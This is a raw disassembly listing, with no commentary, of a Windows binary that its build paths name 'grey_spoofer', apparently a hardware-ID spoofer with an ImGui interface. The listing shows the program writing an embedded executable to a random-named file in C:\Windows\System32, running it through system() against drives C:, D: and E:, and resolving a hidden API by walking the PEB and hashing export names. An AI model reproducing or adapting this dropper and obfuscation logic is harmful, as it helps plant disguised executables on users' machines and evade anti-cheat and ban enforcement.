je 0x14005e5bd
comiss xmm13, xmm2
ja 0x14005e5bd
movss xmm0, dword [0x140177bcc]
subss xmm2, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1c0]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140025a20
movss xmm0, dword [0x140177bb4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024030
mov r8, qword [0x140399fa0]
movss xmm8, dword [0x140398ce4]
movss xmm7, dword [0x140398ce0]
movss xmm6, dword [0x14039a9f4]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x2a8]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2ac], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2a8], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x2b4], xmm1
movss dword [rbp + 0x2b0], xmm0
call fcn.140005e60
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm13
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x140177bac]
mulss xmm1, xmm13
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x1c8], xmm0
movss dword [rbp + 0x1cc], xmm1
test eax, 0xff000000
je 0x14005e6f5
comiss xmm13, xmm2
ja 0x14005e6f5
movss xmm0, dword [0x140177bcc]
subss xmm2, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1c8]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
call fcn.140025a20
movss xmm0, dword [0x140177bb4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024030
mov r8, qword [0x140399fa0]
movss xmm8, dword [0x140398ce4]
movss xmm7, dword [0x140398ce0]
movss xmm6, dword [0x14039a9f4]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0xb8]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0xbc], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0xb8], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0xc4], xmm1
movss dword [rbp + 0xc0], xmm0
call fcn.140005e60
mulss xmm6, dword [0x140177bb4]
mov edi, eax
mulss xmm7, xmm13
mulss xmm8, xmm13
addss xmm7, xmm9
addss xmm8, xmm10
movss dword [rbp + 0x1d0], xmm7
movss dword [rbp + 0x1d4], xmm8
test eax, 0xff000000
je 0x14005e806
comiss xmm13, xmm6
ja 0x14005e806
movss xmm0, dword [0x140177bcc]
subss xmm6, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1d0]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025a20
movss xmm0, dword [0x140177bb4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024030
mov r8, qword [0x140399fa0]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x70]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x74], xmm1
movss xmm1, dword [0x14039aa94]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x70], xmm0
movss xmm0, dword [0x14039aa90]
movss dword [rbp + 0x7c], xmm1
movss dword [rbp + 0x78], xmm0
call fcn.140005e60
movss xmm7, dword [0x140177c88]
lea rdx, [rbp + 0x118]
movss xmm2, dword [r8 + 0x3d60]
mov esi, eax
mov rcx, qword [r8 + 0x3d58]
lea rax, str.Data_replacement_completed_successfully.
xor r14d, r14d
movaps xmm3, xmm7
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c780
movss xmm0, dword [rbp + 0x118]
movss xmm8, dword [0x140177b74]
movss xmm2, dword [0x140398ce4]
addss xmm0, xmm8
subss xmm2, dword [rbp + 0x11c]
cvttss2si eax, xmm0
movss xmm0, dword [0x140398ce0]
subss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm13
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0x118], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x1dc], xmm2
subss xmm0, xmm12
mulss xmm0, xmm13
addss xmm0, xmm9
movss dword [rbp + 0x1d8], xmm0
test esi, 0xff000000
je 0x14005e9b4
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005e963
mov r8d, 0x678
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], r14b
lea rax, [0x140175f68]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x1d8]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.Data_replacement_completed_successfully.
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c9a0
mov r8, qword [0x140399fa0]
lea rcx, [rbp + 0x10]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x14], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x140177b38]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x10], xmm0
movss xmm0, dword [0x14039aa90]
mulss xmm1, dword [0x14039aa94]
movss dword [rbp + 0x18], xmm0
movss dword [rbp + 0x1c], xmm1
call fcn.140005e60
movss xmm2, dword [r8 + 0x3d60]
lea rdx, [rbp + 0x38]
mov rcx, qword [r8 + 0x3d58]
movaps xmm3, xmm7
mov qword [rsp + 0x30], r14
mov esi, eax
lea r14, str.Restart_your_PC__and_flash_your_Bios_
mov qword [rsp + 0x28], r14
movss dword [rsp + 0x20], xmm11
call fcn.14002c780
movss xmm0, dword [rbp + 0x38]
movss xmm2, dword [0x140398ce4]
addss xmm0, xmm8
subss xmm2, dword [rbp + 0x3c]
cvttss2si eax, xmm0
movss xmm0, dword [0x140398ce0]
addss xmm2, xmm15
movd xmm1, eax
mulss xmm2, xmm13
cvtdq2ps xmm1, xmm1
addss xmm2, xmm10
movss dword [rbp + 0x38], xmm1
subss xmm0, xmm1
movss dword [rbp + 0x1e4], xmm2
addss xmm0, xmm12
mulss xmm0, xmm13
addss xmm0, xmm9
movss dword [rbp + 0x1e0], xmm0
test esi, 0xff000000
je 0x14005eb4a
mov rax, qword [rbx + 0x38]
mov rdi, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rbx + 0x98]
mov rcx, qword [rdi + 0x40]
cmp qword [rcx + 8], rax
je 0x14005eb00
mov r8d, 0x678
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x140175f95]
movss dword [rsp + 0x40], xmm12
lea r9, [rbp + 0x1e0]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x58], xmm0
call fcn.14002c9a0
movss xmm0, dword [0x14039a9f4]
xor esi, esi
comiss xmm0, dword [0x140177c48]
movss xmm9, dword [0x140177bb4]
movss xmm7, dword [0x140177bbc]
jbe 0x14005db4c
mov dword [0x14039a9f4], esi
jmp 0x14005db4c
mov rbx, qword [0x140399fa0]
test rbx, rbx
je 0x14005eb97
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14005ebbb
jmp 0x14005eb9a
mov rdi, rsi
mov r8d, 0x130
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140399fa0]
test rbx, rbx
jne 0x14005ebe1
mov r8d, 0x10d9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140399fa0]
call fcn.14003eaf0
mov rcx, qword [rdi]
test rcx, rcx
je 0x14005ebf4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x140399fa0]
mov qword [rbx + 0x88], rsi
mov qword [rbx + 0x98], rsi
test r8, r8
je 0x14005ec75
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14005ec6a
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8, qword [0x140399fa0]
test r8, r8
je 0x14005ec98
mov rbx, qword [r8 + 0x90]
test rbx, rbx
jne 0x14005ecbc
jmp 0x14005ec9b
mov rbx, rsi
mov r8d, 0xca
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x140399fa0]
test r8, r8
jne 0x14005ece2
mov r8d, 0x10d9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [0x140399fa0]
mov rcx, qword [rbx + 0x38]
lea rdi, [r8 + 8]
test rcx, rcx
je 0x14005ecfc
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x140399fa0]
and dword [rdi + 4], 0xfffffff8
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x88], rsi
test r8, r8
je 0x14005ed73
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x14005ed68
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140399fa0]
mov qword [0x140399fa0], rbx
call fcn.140008410
mov qword [0x140399fa0], rsi
test rbx, rbx
je 0x14005ee20
mov rcx, rbx
call fcn.140022270
mov r8, qword [0x140399fa0]
test r8, r8
je 0x14005ee17
movsx r10, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x14005ee0c
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], 0
inc word [rdx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x14039a998]
test rcx, rcx
je 0x14005ee39
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14039a998], rsi
mov rcx, qword [0x14039a990]
test rcx, rcx
je 0x14005ee52
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14039a990], rsi
mov rcx, qword [0x14039a000]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x350]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14005fdf0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, Ordinal_50
mov qword [rbp - 0x78], rsi
call fcn.140134584
movups xmm0, xmmword [str.C:WindowsSystem32_vdfjdisfudasu.exe]
mov qword [rbp - 0x80], rax
lea rdx, [0x1402271a0]
mov qword [rbp - 0x70], Ordinal_41
mov r9, rax
mov qword [rbp - 0x68], Ordinal_50
mov r8d, 0x390a8
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140173510]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140173520]
mov dword [rax + 0x20], ecx
lea rcx, [rbp - 0x80]
movzx eax, byte [0x140173524]
mov byte [r9 + 0x24], al
mov byte [r9 + 0x25], 0
call fcn.140047440
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005ef28
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ef23
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005ef23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140134800
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14005efb5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14005efb5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14005efb0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x14005ef90
cmp edx, 0x2fa62ca8
je 0x14005efba
test r9d, r9d
jne 0x14005ef70
mov rax, qword [rax]
jmp 0x14005ef40
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0x3e8
add rax, r10
call rax
lea rcx, [rbp + 0xb8]
call fcn.1400472b0
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.1400472b0
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005f097
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005f021
mov rsi, qword [rax]
lea rax, [0x140173552]
mov ebx, Ordinal_46
cmp rax, rsi
jbe 0x14005f056
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
cmp rcx, rax
ja 0x14005f056
cmp rsi, rcx
ja 0x14005f04e
xor eax, eax
mov r14d, eax
jmp 0x14005f059
mov r14, rsi
sub r14, rcx
jmp 0x14005f059
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
lea rdx, [0x140173552]
sub r8, r14
lea rcx, [rsi + r14]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005f0bd
mov ebx, Ordinal_46
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
mov qword [rsp + 0x28], rbx
mov edx, ebx
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.1400669a0
mov rdi, rax
mov qword [rbp - 0x20], rsi
lea rdx, [0x140170d5c]
mov qword [rbp - 0x18], rsi
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140063610
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.140065ee0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005f181
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f17c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f299
call fcn.140134800
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005f1cf
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f1ca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f299
call fcn.140134800
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005f20a
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f205
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f299
call fcn.140134800
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
cmp rdx, 0xf
jbe 0x14005f251
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f24c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f299
call fcn.140134800
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005f2a5
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f2a0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f2a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140134800
lea rcx, [rbp + 0xb8]
call fcn.1400472b0
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.1400472b0
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005f361
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005f2ec
mov rsi, qword [rax]
lea rax, [0x140173582]
cmp rax, rsi
jbe 0x14005f31c
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
cmp rcx, rax
ja 0x14005f31c
cmp rsi, rcx
ja 0x14005f314
xor eax, eax
mov r14d, eax
jmp 0x14005f31f
mov r14, rsi
sub r14, rcx
jmp 0x14005f31f
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov r8, rbx
add rdx, 0x2a
lea rcx, [rsi + r14]
add rdx, r14
sub r8, r14
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005f383
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call fcn.1400669a0
mov rdi, rax
mov qword [rbp - 0x20], rsi
lea rdx, [0x140170d5c]
mov qword [rbp - 0x18], rsi
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140063610
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x80], xmm1
mov byte [rax], 0
call fcn.140065ee0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005f447
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f442
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f55f
call fcn.140134800
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x14005f495
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f490
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f55f
call fcn.140134800
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14005f4d0
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f4cb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f55f
call fcn.140134800
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
cmp rdx, 0xf
jbe 0x14005f517
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f512
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f55f
call fcn.140134800
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x14005f56b
mov rcx, qword [rbp + 0xb8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f566
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f566
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140134800
lea rcx, [rbp + 0xb8]
call fcn.1400472b0
lea rcx, [rbp + 0x10]
mov r15, rax
call fcn.1400472b0
mov rdi, rax
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x2a
jb 0x14005f627
lea rcx, [r8 + 0x2a]
mov rsi, rax
mov qword [rax + 0x10], rcx
cmp rdx, 0xf
jbe 0x14005f5b2
mov rsi, qword [rax]
lea rax, [0x1401735b2]
cmp rax, rsi
jbe 0x14005f5e2
lea rax, [rsi + r8]
lea rcx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
cmp rcx, rax
ja 0x14005f5e2
cmp rsi, rcx
ja 0x14005f5da
xor eax, eax
mov r14d, eax
jmp 0x14005f5e5
mov r14, rsi
sub r14, rcx
jmp 0x14005f5e5
mov r14, rbx
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
sub rbx, r14
add rdx, 0x2a
lea rcx, [rsi + r14]
add rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14005f649
lea rax, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call fcn.1400669a0
mov rdi, rax
mov qword [rbp - 0x20], rsi
lea rdx, [0x140170d5c]
mov qword [rbp - 0x18], rsi
lea rcx, [rbp - 0x30]
xorps xmm0, xmm0
mov r8, r12
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
call fcn.140063610
movzx edx, byte [rbp - 0x60]
lea r8, [rbp + 0x70]
mov r9, r15
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rsi
movups xmmword [rbp + 0x70], xmm0
